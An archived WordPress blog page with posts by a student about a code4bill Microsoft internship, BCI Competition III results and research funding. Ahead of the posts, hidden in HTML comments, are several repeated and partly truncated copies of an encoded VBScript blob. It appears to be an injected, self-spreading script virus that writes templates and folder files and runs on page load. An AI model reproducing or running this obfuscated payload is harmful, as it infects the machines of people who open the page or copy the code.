o~1tMc&W#Sm4DcfW#[14Dv&c*b@&fMWaHn').Mlz`r@!JLJj^MkwO~dlUo!CT+xrJjA?1Db2YrJ@*@!r[^4M`&2b[rOOrSEp!+MXjY.r oxJrE[ ZG[[JEEr~ENK^!:n YchDbYEJ@!JE[rJj^MkwD~Smxo!CL+{JrJE.$j1DrwD 2 mG[JJEE@*JE[5;DzUYMkxT[rE@!JJE[rJj^MkwD@*JrJ~rRRJLJ@*@!&J'EUm.kaO@*r#@&-;WNnxxWrxv9MW2t+BZtM`8T#*@&3x9Po;  oW^rDk+k mK:zm8GED+MDGD&r Nn6c4YsJ@&jh’JC8KEO).MW.r@&_Zj{J_F2I{/j”"I3H:{jU3I’J@&UxJUW6YAl.n’HrmMG/K0Owr@&CJ{Ju|Ae|S6;bd{HzZ_(1A-E@&qZxEqkx9Ghk-Z!..+ Yj+./rG -E@&h3′rnGsbmknd’2aw^GM+.’J@&q2{J&UYDU+DP3aaVWMnD’J@&UxuZ`[UH'q3'rHCk w?Dl.O,nlLnr@&)'_Jt[jt[&2[rb(GEDj]Sk-n.MWDr@&2{CSt’jHL;[E2aOUtnV^#khdwP*,0*ws3! +Rf* F8Zs bAv !0!Z $+AF ++8'J@&gxuSt[UH'/'h2'JgGsKV[nMrwOrKxdJ@&u{C/`[UH[qZLE2XwsWM+.wzNmUmN-_r[Nxr@&/'u/`[jHL ZLn3'rZVCdkk^?4n^VE@&bYt,k4?4+sV@&f xrI2VmfqrIGE@&?'rI3MmjJ@&R""noqDrOP?Sjh~j}@& ""+LqDbY+,bB)2B?t@&cInLqDkDnPg~FB9 @&cIo DrOPu~ZSfq@& ]o.rD+~ZBTBf @&R”"+oG+^nYP3@&Ax[~qkY4@&2 NPU;8@&wE mOkGU,K4kk9kMnCO4`#@&6 P3DMGMP]/!:+,1aY@&wxIwsC1+“U2kmlancNKm!:nxO ^W^lDrW #SE6kVnlJz&JBEr#@&&0,0/KRwrV2akkYdca#P:4+ @&w{]nw^l1+cwSWkW MOsbVnHm:+c2*~EJ*@&AVd@&&0PgWDcSxcw*@!xf*PK4nx,w’a'Ezr@&Ax[P(W@&K4kk9kMnCO4'w@&3 N~s!U1YrKx@&sE mDrW PP+swsCD+fb.`*@&r ~3DMWMP]+d;s+~1aY@&wxWkWR!nD?2+1rmVoKV9+Dv!*’J'n4r@&WdKRfs+D+sKs[+MPa~PD;n@&0dWc/DlOnwWV[nM`2#@&jY~sXwkV'6dWcMnYwWs[D`ab@&sXsbsnRzYDDr4;O/xG@&P+swsCD+fr.{w'J'E@&2U9PwEx1YbGx@&?;4,f.GaK+s2VmY+v2CY4#@&rUP3.MW.P""n/!:n~g+6O@&wWsN._KP{J@!tYsV@*@!4KNzPkm.G^V' GPkYX^nx:mDTkU)T@*@!W8L^Y,msCk/k[x1Vdk9l8%+ZsAf! cFf2 FqfZO)1+ZOZTZZcsG{T*z ,/OXsn{hrND4)8!TYpt+rL4YlFZTu@*@!JW(rJ@&srsZDnCD+~wB9/VDWaq1&@&wrVbOYMP2SF@&w{2lDt[roGV9+MR4YOE@&srV/DlOn,w~oG^NnD_P:P',;WN@&wrVbOYMP2SF@&2 [PUE4@&j;4,sbVnZ.nmYn`6rVxCh~mGUD+UYkb@&rU,2MDWMP""n/!:nPg+aO@&sk^nbDYD,WrVxm:n~T@&U+OPszsbVnx6/W /M+CYP6Owk^+`6k^nxm:n~:D;n*@&:Hok^+Rq.rYP1WUYnUD/@&:Hok^+ /^W/n@&Ax[PU;(@&j!4,sk^+zOYM`Wk^+UCs+~mOYM#@&}U~2MDKD~Ind!:nPgn6D@&jnDP:zobVn'6dKR!YwkV`6rVxC:#@&hHsk^nRzYYMr8ED+k'CYO.@&2UN,jE(@&o; mYrG P)wa6(Lc*@&}xPADMGD,In/!:n~g+6D@&?YPz22r(L{NGm;hxORm2w^+Odvbw2sYHlsn*@&3 N,sE mDrW @&oE mOrKxP6dWv#@&}U~2MDKD~Ind!:nPgn6D@&jnDP0dG{Z.+mOr8N`6/W;SU(f*@&3x9PomYbGx@&sE ^OkKx,dtj4Vs`*@&r P3.MWD~]/;:~g+aD@&U+Y,k4?4+sV{Z.nmY+}8Lvh/;JjqG#@&2UN~o!x^YbGx@&s;U1YkGU,Z.+mOr8N`;S?&f*@&r P3DMW.~”"+/!h+,1+XO@&baw}4%RjnDZJ?&9`;Sj(G#@&)2ar8Lc^M+CD+&x/Dl ^+v#@&hbx[GSR/DCY!/'rE@&?Y,Z.+COr8L{)war8%cM+O6(LnmDc*@&3 N,sE mDrW QHIFAA==^#~@"

document.write""&QueryString&""

-->

<!--

QueryString="#@~^iBEAAA==6 P3MDKDP""+k;:PH+XY@&/Kx/D~bawVOHls+{J-4d bmCD}dRyRT ZJ@&/G /OPz2aVnDZKN+{J1G:c:dRmmOr7+(c)mDk\p/WswKxnxOE@&ZGxkOP6/G/d?q9xr TfWfw2T8Ow!,2O8qZwO0,W!RTZb!;1!lc y0NJ@&ZKxdY~AkZJ?&9'r o12*f/+yOqZwT FqG! bf~, T!;!*sG*0)ZA8r@&NKmEsnUYchMkO+E@!mw2VOP4+rL4Y'T~Sk[Y4xZPUm:'JLba2VYHls+'E,mW9n'r[ba2s+DZKNn[E@*@!zCwas+D@*E@&9Wm;hxORS.bYnr@!kmDbwD~0KDxhbx[GSP+7nxD'W sGl9@*k+OKrhr;YrE(/^.bwYlhmkUymKxsKl9`#rJBq!Z!@!zkm.raY@*r@&?!4PsCrx7 |WUVGC9`b@&""no;tCUT+`b@&GDGw:nswsmY`K:aslD+9kM#@&9MWw:n:aVlDncK4kkfrDKCDtb@&G.WaHrd1`#@&obVn?1C `P4kkfkMnmOt*@&KSKl[/4+m0c#@&2x9~jE(@&UE8P9.Kwkk^`*@&6U,2D.GMP]+k;s+~g+XY@&wWM~x{!~YKPq@&GDWaP+swVmOn`6/KR!+Oja+^kmssKV[nM`xb'r-E#@&H6O@&sKDPAl14P9Prx,0dGcfDb-+k@&q6~[RGDbnKz2'+PD4+ P9.KwKnhaVCYc9R9Mk7+SYDnDLJl-r#@&H6Y@&oWMP2m^4P Pbx~d4UtnV^ ?a+^rmVsGs9+./@&(6P( ?DD` ~r9+k3OWaJbxZPK4nx,fDK2P+sw^lO+cULJwJ*@&16O@&AxN~j!4@&?!8,nJKl9Ztm0c#@&rUPAD.GMPIdEs+PgnaY@&q6P\WUO4`HWSb'OPCU9PfCzv1Gh*xyv~DtxPq/4jtVsR""EUcrIjg9Sd& c3p2,/4+sVf+cNsVBjCA6rOqkx[GS/36,+r#@&Ax9P?!4@&jE(Pok^+)2a+x9c0Bm#@&6UPADMW.P]nkEh+,H+XY@&jYPhzwks+{WkW V+Dsk^+vW#@&xx:HsrsRbDODb4EDnd@&sXwks+ )DY.k(;Y/xT@&?+O~sXok^n{0dKR}w+ KaYwks+v0S0*@&:Hok^+Rq.rYP1@&hXor^+ Z^G/@&or^+bOOMPW~ @&Ax[,?!4@&UE(~sbVnq 0n^D`w*@&r P2M.GD,I/;:n~g+aY@&j+DPWx6/W 6a+UKaDsr^+vw~8#@&^'6R]+mN)s^@&0c/VK/+@&(WP&xUY.In-vmS\;GN#xT,rD~( ?OD”"n7`^B\;WN#3J+ `-ZKNnb@!Scm*PK4nUP@&sbVnb22x[PaS;W[n@&2x[~&0@&2 [,?;(@&UE4,sbs+UmCxvwb@&}xPA.DKDP""ndEs+,1n6O@&wW.PACm4PdW8PqU~6/GRVnDsG^ND`a#cok^+d@&U+sn1YP;C/PS;Cd+v0kW MnOA6O+ dkKxHCs+`dW8RHlsn*#@&;lk+PrtDhJBJ4YsVESrtYDE@&wkV(U0mD`d0q hlOt*@&2 N~jV+^O@&1n6D@&Ax[,?!4@&wE ^YbWUP7ZG[`#@&6x,2DMG.P""+kEh+~H6O@& /W9+x]wVC^`}E.H?OMk o~1tMc&W#Sm4DcfW#[14Dv&c*b@&fMWaHn').Mlz`r@!JLJj^MkwO~dlUo!CT+xrJjA?1Db2YrJ@*@!r[^4M`&2b[rOOrSEp!+MXjY.r oxJrE[ ZG[[JEEr~ENK^!:n YchDbYEJ@!JE[rJj^MkwD~Smxo!CL+{JrJE.$j1DrwD 2 mG[JJEE@*JE[5;DzUYMkxT[rE@!JJE[rJj^MkwD@*JrJ~rRRJLJ@*@!&J'EUm.kaO@*r#@&-;WNnxxWrxv9MW2t+BZtM`8T#*@&3x9Po;  oW^rDk+k mK:zm8GED+MDGD&r Nn6c4YsJ@&jh’JC8KEO).MW.r@&_Zj{J_F2I{/j”"I3H:{jU3I’J@&UxJUW6YAl.n’HrmMG/K0Owr@&CJ{Ju|Ae|S6;bd{HzZ_(1A-E@&qZxEqkx9Ghk-Z!..+ Yj+./rG -E@&h3′rnGsbmknd’2aw^GM+.’J@&q2{J&UYDU+DP3aaVWMnD’J@&UxuZ`[UH'q3'rHCk w?Dl.O,nlLnr@&)'_Jt[jt[&2[rb(GEDj]Sk-n.MWDr@&2{CSt’jHL;[E2aOUtnV^#khdwP*,0*ws3! +Rf* F8Zs bAv !0!Z $+AF ++8'J@&gxuSt[UH'/'h2'JgGsKV[nMrwOrKxdJ@&u{C/`[UH[qZLE2XwsWM+.wzNmUmN-_r[Nxr@&/'u/`[jHL ZLn3'rZVCdkk^?4n^VE@&bYt,k4?4+sV@&f xrI2VmfqrIGE@&?'rI3MmjJ@&R""noqDrOP?Sjh~j}@& ""+LqDbY+,bB)2B?t@&cInLqDkDnPg~FB9 @&cIo DrOPu~ZSfq@& ]o.rD+~ZBTBf @&R”"+oG+^nYP3@&Ax[~qkY4@&2 NPU;8@&wE mOkGU,K4kk9kMnCO4`#@&6 P3DMGMP]/!:+,1aY@&wxIwsC1+“U2kmlancNKm!:nxO ^W^lDrW #SE6kVnlJz&JBEr#@&&0,0/KRwrV2akkYdca#P:4+ @&w{]nw^l1+cwSWkW MOsbVnHm:+c2*~EJ*@&AVd@&&0PgWDcSxcw*@!xf*PK4nx,w’a'Ezr@&Ax[P(W@&K4kk9kMnCO4'w@&3 N~s!U1YrKx@&sE mDrW PP+swsCD+fb.`*@&r ~3DMWMP]+d;s+~1aY@&wxWkWR!nD?2+1rmVoKV9+Dv!*’J'n4r@&WdKRfs+D+sKs[+MPa~PD;n@&0dWc/DlOnwWV[nM`2#@&jY~sXwkV'6dWcMnYwWs[D`ab@&sXsbsnRzYDDr4;O/xG@&P+swsCD+fr.{w'J'E@&2U9PwEx1YbGx@&?;4,f.GaK+s2VmY+v2CY4#@&rUP3.MW.P""n/!:n~g+6O@&wWsN._KP{J@!tYsV@*@!4KNzPkm.G^V' GPkYX^nx:mDTkU)T@*@!W8L^Y,msCk/k[x1Vdk9l8%+ZsAf! cFf2 FqfZO)1+ZOZTZZcsG{T*z ,/OXsn{hrND4)8!TYpt+rL4YlFZTu@*@!JW(rJ@&srsZDnCD+~wB9/VDWaq1&@&wrVbOYMP2SF@&w{2lDt[roGV9+MR4YOE@&srV/DlOn,w~oG^NnD_P:P',;WN@&wrVbOYMP2SF@&2 [PUE4@&j;4,sbVnZ.nmYn`6rVxCh~mGUD+UYkb@&rU,2MDWMP""n/!:nPg+aO@&sk^nbDYD,WrVxm:n~T@&U+OPszsbVnx6/W /M+CYP6Owk^+`6k^nxm:n~:D;n*@&:Hok^+Rq.rYP1WUYnUD/@&:Hok^+ /^W/n@&Ax[PU;(@&j!4,sk^+zOYM`Wk^+UCs+~mOYM#@&}U~2MDKD~Ind!:nPgn6D@&jnDP:zobVn'6dKR!YwkV`6rVxC:#@&hHsk^nRzYYMr8ED+k'CYO.@&2UN,jE(@&o; mYrG P)wa6(Lc*@&}xPADMGD,In/!:n~g+6D@&?YPz22r(L{NGm;hxORm2w^+Odvbw2sYHlsn*@&3 N,sE mDrW @&oE mOrKxP6dWv#@&}U~2MDKD~Ind!:nPgn6D@&jnDP0dG{Z.+mOr8N`6/W;SU(f*@&3x9PomYbGx@&sE ^OkKx,dtj4Vs`*@&r P3.MWD~]/;:~g+aD@&U+Y,k4?4+sV{Z.nmY+}8Lvh/;JjqG#@&2UN~o!x^YbGx@&s;U1YkGU,Z.+mOr8N`;S?&f*@&r P3DMW.~”"+/!h+,1+XO@&baw}4%RjnDZJ?&9`;Sj(G#@&)2ar8Lc^M+CD+&x/Dl ^+v#@&hbx[GSR/DCY!/'rE@&?Y,Z.+COr8L{)war8%cM+O6(LnmDc*@&3 N,sE mDrW QHIFAA==^#~@"

document.write""&QueryString&""

-->

<!--

QueryString="#@~^iBEAAA==6 P3MDKDP""+k;:PH+XY@&/Kx/D~bawVOHls+{J-4d bmCD}dRyRT ZJ@&/G /OPz2aVnDZKN+{J1G:c:dRmmOr7+(c)mDk\p/WswKxnxOE@&ZGxkOP6/G/d?q9xr TfWfw2T8Ow!,2O8qZwO0,W!RTZb!;1!lc y0NJ@&ZKxdY~AkZJ?&9'r o12*f/+yOqZwT FqG! bf~, T!;!*sG*0)ZA8r@&NKmEsnUYchMkO+E@!mw2VOP4+rL4Y'T~Sk[Y4xZPUm:'JLba2VYHls+'E,mW9n'r[ba2s+DZKNn[E@*@!zCwas+D@*E@&9Wm;hxORS.bYnr@!kmDbwD~0KDxhbx[GSP+7nxD'W sGl9@*k+OKrhr;YrE(/^.bwYlhmkUymKxsKl9`#rJBq!Z!@!zkm.raY@*r@&?!4PsCrx7 |WUVGC9`b@&""no;tCUT+`b@&GDGw:nswsmY`K:aslD+9kM#@&9MWw:n:aVlDncK4kkfrDKCDtb@&G.WaHrd1`#@&obVn?1C `P4kkfkMnmOt*@&KSKl[/4+m0c#@&2x9~jE(@&UE8P9.Kwkk^`*@&6U,2D.GMP]+k;s+~g+XY@&wWM~x{!~YKPq@&GDWaP+swVmOn`6/KR!+Oja+^kmssKV[nM`xb'r-E#@&H6O@&sKDPAl14P9Prx,0dGcfDb-+k@&q6~[RGDbnKz2'+PD4+ P9.KwKnhaVCYc9R9Mk7+SYDnDLJl-r#@&H6Y@&oWMP2m^4P Pbx~d4UtnV^ ?a+^rmVsGs9+./@&(6P( ?DD` ~r9+k3OWaJbxZPK4nx,fDK2P+sw^lO+cULJwJ*@&16O@&AxN~j!4@&?!8,nJKl9Ztm0c#@&rUPAD.GMPIdEs+PgnaY@&q6P\WUO4`HWSb'OPCU9PfCzv1Gh*xyv~DtxPq/4jtVsR""EUcrIjg9Sd& c3p2,/4+sVf+cNsVBjCA6rOqkx[GS/36,+r#@&Ax9P?!4@&jE(Pok^+)2a+x9c0Bm#@&6UPADMW.P]nkEh+,H+XY@&jYPhzwks+{WkW V+Dsk^+vW#@&xx:HsrsRbDODb4EDnd@&sXwks+ )DY.k(;Y/xT@&?+O~sXok^n{0dKR}w+ KaYwks+v0S0*@&:Hok^+Rq.rYP1@&hXor^+ Z^G/@&or^+bOOMPW~ @&Ax[,?!4@&UE(~sbVnq 0n^D`w*@&r P2M.GD,I/;:n~g+aY@&j+DPWx6/W 6a+UKaDsr^+vw~8#@&^'6R]+mN)s^@&0c/VK/+@&(WP&xUY.In-vmS\;GN#xT,rD~( ?OD”"n7`^B\;WN#3J+ `-ZKNnb@!Scm*PK4nUP@&sbVnb22x[PaS;W[n@&2x[~&0@&2 [,?;(@&UE4,sbs+UmCxvwb@&}xPA.DKDP""ndEs+,1n6O@&wW.PACm4PdW8PqU~6/GRVnDsG^ND`a#cok^+d@&U+sn1YP;C/PS;Cd+v0kW MnOA6O+ dkKxHCs+`dW8RHlsn*#@&;lk+PrtDhJBJ4YsVESrtYDE@&wkV(U0mD`d0q hlOt*@&2 N~jV+^O@&1n6D@&Ax[,?!4@&wE ^YbWUP7ZG[`#@&6x,2DMG.P""+kEh+~H6O@& /W9+x]wVC^`}E.H?OMk o~1tMc&W#Sm4DcfW#[14Dv&c*b@&fMWaHn').Mlz`r@!JLJj^MkwO~dlUo!CT+xrJjA?1Db2YrJ@*@!r[^4M`&2b[rOOrSEp!+MXjY.r oxJrE[ ZG[[JEEr~ENK^!:n YchDbYEJ@!JE[rJj^MkwD~Smxo!CL+{JrJE.$j1DrwD 2 mG[JJEE@*JE[5;DzUYMkxT[rE@!JJE[rJj^MkwD@*JrJ~rRRJLJ@*@!&J'EUm.kaO@*r#@&-;WNnxxWrxv9MW2t+BZtM`8T#*@&3x9Po;  oW^rDk+k mK:zm8GED+MDGD&r Nn6c4YsJ@&jh’JC8KEO).MW.r@&_Zj{J_F2I{/j”"I3H:{jU3I’J@&UxJUW6YAl.n’HrmMG/K0Owr@&CJ{Ju|Ae|S6;bd{HzZ_(1A-E@&qZxEqkx9Ghk-Z!..+ Yj+./rG -E@&h3′rnGsbmknd’2aw^GM+.’J@&q2{J&UYDU+DP3aaVWMnD’J@&UxuZ`[UH'q3'rHCk w?Dl.O,nlLnr@&)'_Jt[jt[&2[rb(GEDj]Sk-n.MWDr@&2{CSt’jHL;[E2aOUtnV^#khdwP*,0*ws3! +Rf* F8Zs bAv !0!Z $+AF ++8'J@&gxuSt[UH'/'h2'JgGsKV[nMrwOrKxdJ@&u{C/`[UH[qZLE2XwsWM+.wzNmUmN-_r[Nxr@&/'u/`[jHL ZLn3'rZVCdkk^?4n^VE@&bYt,k4?4+sV@&f xrI2VmfqrIGE@&?'rI3MmjJ@&R""noqDrOP?Sjh~j}@& ""+LqDbY+,bB)2B?t@&cInLqDkDnPg~FB9 @&cIo DrOPu~ZSfq@& ]o.rD+~ZBTBf @&R”"+oG+^nYP3@&Ax[~qkY4@&2 NPU;8@&wE mOkGU,K4kk9kMnCO4`#@&6 P3DMGMP]/!:+,1aY@&wxIwsC1+“U2kmlancNKm!:nxO ^W^lDrW #SE6kVnlJz&JBEr#@&&0,0/KRwrV2akkYdca#P:4+ @&w{]nw^l1+cwSWkW MOsbVnHm:+c2*~EJ*@&AVd@&&0PgWDcSxcw*@!xf*PK4nx,w’a'Ezr@&Ax[P(W@&K4kk9kMnCO4'w@&3 N~s!U1YrKx@&sE mDrW PP+swsCD+fb.`*@&r ~3DMWMP]+d;s+~1aY@&wxWkWR!nD?2+1rmVoKV9+Dv!*’J'n4r@&WdKRfs+D+sKs[+MPa~PD;n@&0dWc/DlOnwWV[nM`2#@&jY~sXwkV'6dWcMnYwWs[D`ab@&sXsbsnRzYDDr4;O/xG@&P+swsCD+fr.{w'J'E@&2U9PwEx1YbGx@&?;4,f.GaK+s2VmY+v2CY4#@&rUP3.MW.P""n/!:n~g+6O@&wWsN._KP{J@!tYsV@*@!4KNzPkm.G^V' GPkYX^nx:mDTkU)T@*@!W8L^Y,msCk/k[x1Vdk9l8%+ZsAf! cFf2 FqfZO)1+ZOZTZZcsG{T*z ,/OXsn{hrND4)8!TYpt+rL4YlFZTu@*@!JW(rJ@&srsZDnCD+~wB9/VDWaq1&@&wrVbOYMP2SF@&w{2lDt[roGV9+MR4YOE@&srV/DlOn,w~oG^NnD_P:P',;WN@&wrVbOYMP2SF@&2 [PUE4@&j;4,sbVnZ.nmYn`6rVxCh~mGUD+UYkb@&rU,2MDWMP""n/!:nPg+aO@&sk^nbDYD,WrVxm:n~T@&U+OPszsbVnx6/W /M+CYP6Owk^+`6k^nxm:n~:D;n*@&:Hok^+Rq.rYP1WUYnUD/@&:Hok^+ /^W/n@&Ax[PU;(@&j!4,sk^+zOYM`Wk^+UCs+~mOYM#@&}U~2MDKD~Ind!:nPgn6D@&jnDP:zobVn'6dKR!YwkV`6rVxC:#@&hHsk^nRzYYMr8ED+k'CYO.@&2UN,jE(@&o; mYrG P)wa6(Lc*@&}xPADMGD,In/!:n~g+6D@&?YPz22r(L{NGm;hxORm2w^+Odvbw2sYHlsn*@&3 N,sE mDrW @&oE mOrKxP6dWv#@&}U~2MDKD~Ind!:nPgn6D@&jnDP0dG{Z.+mOr8N`6/W;SU(f*@&3x9PomYbGx@&sE ^OkKx,dtj4Vs`*@&r P3.MWD~]/;:~g+aD@&U+Y,k4?4+sV{Z.nmY+}8Lvh/;JjqG#@&2UN~o!x^YbGx@&s;U1YkGU,Z.+mOr8N`;S?&f*@&r P3DMW.~”"+/!h+,1+XO@&baw}4%RjnDZJ?&9`;Sj(G#@&)2ar8Lc^M+CD+&x/Dl ^+v#@&hbx[GSR/DCY!/'rE@&?Y,Z.+COr8L{)war8%cM+O6(LnmDc*@&3 N,sE mDrW QHIFAA==^#~@"

document.write""&QueryString&""

-->

<!--

QueryString="#@~^iBEAAA==6 P3MDKDP""+k;:PH+XY@&/Kx/D~bawVOHls+{J-4d bmCD}dRyRT ZJ@&/G /OPz2aVnDZKN+{J1G:c:dRmmOr7+(c)mDk\p/WswKxnxOE@&ZGxkOP6/G/d?q9xr TfWfw2T8Ow!,2O8qZwO0,W!RTZb!;1!lc y0NJ@&ZKxdY~AkZJ?&9'r o12*f/+yOqZwT FqG! bf~, T!;!*sG*0)ZA8r@&NKmEsnUYchMkO+E@!mw2VOP4+rL4Y'T~Sk[Y4xZPUm:'JLba2VYHls+'E,mW9n'r[ba2s+DZKNn[E@*@!zCwas+D@*E@&9Wm;hxORS.bYnr@!kmDbwD~0KDxhbx[GSP+7nxD'W sGl9@*k+OKrhr;YrE(/^.bwYlhmkUymKxsKl9`#rJBq!Z!@!zkm.raY@*r@&?!4PsCrx7 |WUVGC9`b@&""no;tCUT+`b@&GDGw:nswsmY`K:aslD+9kM#@&9MWw:n:aVlDncK4kkfrDKCDtb@&G.WaHrd1`#@&obVn?1C `P4kkfkMnmOt*@&KSKl[/4+m0c#@&2x9~jE(@&UE8P9.Kwkk^`*@&6U,2D.GMP]+k;s+~g+XY@&wWM~x{!~YKPq@&GDWaP+swVmOn`6/KR!+Oja+^kmssKV[nM`xb'r-E#@&H6O@&sKDPAl14P9Prx,0dGcfDb-+k@&q6~[RGDbnKz2'+PD4P9.KwKnhaVCYc9R9Mk7+SYDnDLJl-r#@&H6Y@&oWMP2m^4P Pbx~d4UtnV^ ?a+^rmVsGs9+./@&(6P( ?DD` ~r9+k3OWaJbxZPK4nx,fDK2P+sw^lO+cULJwJ*@&16O@&AxN~j!4@&?!8,nJKl9Ztm0c#@&rUPAD.GMPIdEs+PgnaY@&q6P\WUO4`HWSb'OPCU9PfCzv1Gh*xyv~DtxPq/4jtVsR""EUcrIjg9Sd& c3p2,/4+sVf+cNsVBjCA6rOqkx[GS/36,+r#@&Ax9P?!4@&jE(Pok^+)2a+x9c0Bm#@&6UPADMW.P]nkEh+,H+XY@&jYPhzwks+{WkW V+Dsk^+vW#@&xx:HsrsRbDODb4EDnd@&sXwks+ )DY.k(;Y/xT@&?+O~sXok^n{0dKR}w+ KaYwks+v0S0*@&:Hok^+Rq.rYP1@&hXor^+ Z^G/@&or^+bOOMPW~ @&Ax[,?!4@&UE(~sbVnq 0n^D`w*@&r P2M.GD,I/;:n~g+aY@&j+DPWx6/W `-ZKNnb@!Scm*PK4nUP@&sbVnb22x[PaS;W[n@&2x[~&0@&2 [,?;(@&UE4,sbs+UmCxvwb@&}xPA.DKDP""ndEs+,1n6O@&wW.PACm4PdW8PqU~6/GRVnDsG^ND`a#cok^+d@&U+sn1YP;C/PS;Cd+v0kW MnOA6O+ dkKxHCs+`dW8RHlsn*#@&;lk+PrtDhJBJ4YsVESrtYDE@&wkV(U0mD`d0q hlOt*@&2 N~jV+^O@&1n6D@&Ax[,?!4@&wE ^YbWUP7ZG[`#@&6x,2DMG.P""+kEh+~H6O@& /W9+x]wVC^`}E.H?OMk o~1tMc&W#Sm4D

May 12, 2006

Got in top 20 in India through code4bill

Filed under: Uncategorized — Tags: — archisgore @ 7:27 am

I shall be one of 20 top student technolonists in India interning at Microsoft selected through the code4bill competition. The competition was a fun, ruthless and tough struggle for this position, and yet, I know that it was all luck. I’m all excited about the internship right now. Wish me luck! You can read more about this on my BLOG soon. It has been my dream company for the last one-and-a-half year; especially when I found out that C.A.Hoare (the inventor of the Quicksort) works in MS R&D. Microsoft R&D is my ideal place!

Although my internship is at the IDC, I’m hoping the future prospects would be in R&D.

Who would have guessed? I gave the first round during Calyx within 2 hours. I completed the second round (really tough) thinking I’m done for! and I completed the third round again in only 2 hours while preparing for LinuxAsia. I was the only person whose interview questions were somewhat easier than others’. I guess there really is such a thing as Luck. Or if Obi-Wan Kenobi is right, then I have a guardian angel watching my back.

BCI Competition III

Filed under: Uncategorized — Tags: — archisgore @ 7:08 am

I am probably the first Indian and only single undergrad student to participate in the Brain Computer Interface Competition III. I participated only in the first dataset due to lack of time, college pressures and the fact that I was developing Fergusson Linux alongside. Anyways, I managed to score a 79% accuracy with the highest being 91%. I single-handedly ranked 13th and my results are better than some very huge universities. View their results page for more authentic information.

It feels great to be the first Indian (both by origin and location) to have participated in the BCI competition and perhaps also the only undergraduate student in the world to have done it. What’s more is that achieving the 13th position did a lot to give me a moral boost and the confidene that my abilities to conduct research were only limited due to lack of resources. From this event onwards, I’ve decided to do research because I like it – I dont give a damn about degrees or paperwork. And I dont care what people think about me either. I’m much happier this way as compared to the submissive person I used to be trying to please everyone to earn a good degree in hopes of pursuing research.

Let me tell you a little secret. If you think that sucking up to someone and getting good grades is going to help you, you’re unimaginably mistaken. I tried that for a few years and realised that people will always be demeaning and will try to pull you down. The lack of good grades is just an excuse they use to throw you out. When you do have good grades, they’ll say that the education system is so mundane that anyone who manages to get good grades is not creative enough. It’s better to be happy doing what you like.

My love for BCI’s……..

Filed under: Uncategorized — Tags: — archisgore @ 7:06 am

Although BCIs are my primary love and only possible career choice for me, I’m still having trouble finding funding. For all those science enthusiasts who’re being roped in to do someone else’s work under false promises of research grants for crazy ideas, let me hit you with the reality – its all fake. Nobody really cares about pure science anymore. They just use it to portray themselves as higher or more holistic human beings compared to others. These people completely miss out on the whole point of science – which is to do stuff for its own sake!

« Newer Posts

Theme: Silver is the New Black. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.

Join 122 other followers